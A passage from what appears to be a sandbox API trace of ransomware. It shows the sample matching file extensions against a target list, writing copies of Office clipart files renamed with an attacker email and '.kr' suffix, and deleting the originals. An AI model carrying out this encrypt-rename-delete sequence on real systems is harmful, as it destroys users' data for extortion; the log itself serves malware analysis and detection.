(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.676] lstrlenW (lpString=".ppt") returned 4 [0183.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.677] lstrlenW (lpString=".zip") returned 4 [0183.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.677] lstrlenW (lpString=".rar") returned 4 [0183.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString=".bz2") returned 4 [0183.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString=".7z") returned 3 [0183.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.677] lstrlenW (lpString=".dbf") returned 4 [0183.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.677] lstrlenW (lpString=".1cd") returned 4 [0183.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.677] lstrlenW (lpString=".jpg") returned 4 [0183.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.677] lstrlenW (lpString=".doc") returned 4 [0183.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString=".docx") returned 5 [0183.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.677] lstrlenW (lpString=".pdf") returned 4 [0183.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.677] lstrlenW (lpString=".xls") returned 4 [0183.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.677] lstrlenW (lpString=".xlsx") returned 5 [0183.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.677] lstrlenW (lpString=".ppt") returned 4 [0183.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.678] lstrlenW (lpString=".zip") returned 4 [0183.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.678] lstrlenW (lpString=".rar") returned 4 [0183.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.678] lstrlenW (lpString=".bz2") returned 4 [0183.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.678] lstrlenW (lpString=".7z") returned 3 [0183.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.678] lstrlenW (lpString=".dbf") returned 4 [0183.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.678] lstrlenW (lpString=".1cd") returned 4 [0183.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0183.678] lstrlenW (lpString=".jpg") returned 4 [0183.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.678] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.678] lstrlenW (lpString="BS00174_.WMF") returned 12 [0183.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.679] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=8366) returned 1 [0183.679] CloseHandle (hObject=0x510) returned 1 [0183.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0183.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.679] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.679] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0183.680] GetLastError () returned 0x0 [0183.680] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0183.681] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0183.683] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.683] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.683] SetEndOfFile (hFile=0x514) returned 1 [0183.683] CloseHandle (hObject=0x514) returned 1 [0183.683] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.683] SetEndOfFile (hFile=0x510) returned 1 [0183.686] CloseHandle (hObject=0x510) returned 1 [0183.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.687] lstrlenW (lpString=".doc") returned 4 [0183.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.687] lstrlenW (lpString=".docx") returned 5 [0183.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.687] lstrlenW (lpString=".pdf") returned 4 [0183.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.687] lstrlenW (lpString=".xls") returned 4 [0183.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.687] lstrlenW (lpString=".xlsx") returned 5 [0183.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.687] lstrlenW (lpString=".ppt") returned 4 [0183.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.687] lstrlenW (lpString=".zip") returned 4 [0183.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.687] lstrlenW (lpString=".rar") returned 4 [0183.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.687] lstrlenW (lpString=".bz2") returned 4 [0183.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.687] lstrlenW (lpString=".7z") returned 3 [0183.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.687] lstrlenW (lpString=".dbf") returned 4 [0183.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.688] lstrlenW (lpString=".1cd") returned 4 [0183.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.688] lstrlenW (lpString=".jpg") returned 4 [0183.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.688] lstrlenW (lpString=".doc") returned 4 [0183.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString=".docx") returned 5 [0183.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.688] lstrlenW (lpString=".pdf") returned 4 [0183.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString=".xls") returned 4 [0183.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.688] lstrlenW (lpString=".xlsx") returned 5 [0183.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.688] lstrlenW (lpString=".ppt") returned 4 [0183.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.688] lstrlenW (lpString=".zip") returned 4 [0183.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.688] lstrlenW (lpString=".rar") returned 4 [0183.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString=".bz2") returned 4 [0183.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString=".7z") returned 3 [0183.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.688] lstrlenW (lpString=".dbf") returned 4 [0183.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.689] lstrlenW (lpString=".1cd") returned 4 [0183.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0183.689] lstrlenW (lpString=".jpg") returned 4 [0183.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.689] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.689] lstrlenW (lpString="BS00184_.WMF") returned 12 [0183.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.690] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4976) returned 1 [0183.690] CloseHandle (hObject=0x510) returned 1 [0183.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0183.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0183.691] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.691] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0183.691] GetLastError () returned 0x0 [0183.691] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1370, lpOverlapped=0x0) returned 1 [0183.925] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1380, lpOverlapped=0x0) returned 1 [0183.925] ReadFile (in: hFile=0x510, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.926] WriteFile (in: hFile=0x514, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.926] SetEndOfFile (hFile=0x514) returned 1 [0184.016] CloseHandle (hObject=0x514) returned 1 [0184.016] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.016] SetEndOfFile (hFile=0x510) returned 1 [0184.019] CloseHandle (hObject=0x510) returned 1 [0184.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.223] lstrlenW (lpString=".doc") returned 4 [0184.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.223] lstrlenW (lpString=".docx") returned 5 [0184.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.223] lstrlenW (lpString=".pdf") returned 4 [0184.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.223] lstrlenW (lpString=".xls") returned 4 [0184.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.223] lstrlenW (lpString=".xlsx") returned 5 [0184.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.223] lstrlenW (lpString=".ppt") returned 4 [0184.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.223] lstrlenW (lpString=".zip") returned 4 [0184.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.223] lstrlenW (lpString=".rar") returned 4 [0184.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.223] lstrlenW (lpString=".bz2") returned 4 [0184.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.223] lstrlenW (lpString=".7z") returned 3 [0184.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.223] lstrlenW (lpString=".dbf") returned 4 [0184.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.224] lstrlenW (lpString=".1cd") returned 4 [0184.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.224] lstrlenW (lpString=".jpg") returned 4 [0184.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.224] lstrlenW (lpString=".doc") returned 4 [0184.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString=".docx") returned 5 [0184.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.224] lstrlenW (lpString=".pdf") returned 4 [0184.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString=".xls") returned 4 [0184.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.224] lstrlenW (lpString=".xlsx") returned 5 [0184.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.224] lstrlenW (lpString=".ppt") returned 4 [0184.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.224] lstrlenW (lpString=".zip") returned 4 [0184.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.224] lstrlenW (lpString=".rar") returned 4 [0184.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString=".bz2") returned 4 [0184.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.224] lstrlenW (lpString=".7z") returned 3 [0184.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.224] lstrlenW (lpString=".dbf") returned 4 [0184.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.225] lstrlenW (lpString=".1cd") returned 4 [0184.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0184.225] lstrlenW (lpString=".jpg") returned 4 [0184.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.225] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.225] lstrlenW (lpString="BS00442_.WMF") returned 12 [0184.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.225] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2488) returned 1 [0184.226] CloseHandle (hObject=0x518) returned 1 [0184.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0184.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.226] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.226] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0184.227] GetLastError () returned 0x0 [0184.227] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0184.228] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0184.229] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.229] WriteFile (in: hFile=0x4d4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.229] SetEndOfFile (hFile=0x4d4) returned 1 [0184.229] CloseHandle (hObject=0x4d4) returned 1 [0184.229] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.230] SetEndOfFile (hFile=0x518) returned 1 [0184.232] CloseHandle (hObject=0x518) returned 1 [0184.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0184.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.233] lstrlenW (lpString=".doc") returned 4 [0184.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.233] lstrlenW (lpString=".docx") returned 5 [0184.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.233] lstrlenW (lpString=".pdf") returned 4 [0184.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.233] lstrlenW (lpString=".xls") returned 4 [0184.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.233] lstrlenW (lpString=".xlsx") returned 5 [0184.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.233] lstrlenW (lpString=".ppt") returned 4 [0184.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0184.233] lstrlenW (lpString=".zip") returned 4 [0184.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.233] lstrlenW (lpString=".rar") returned 4 [0184.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 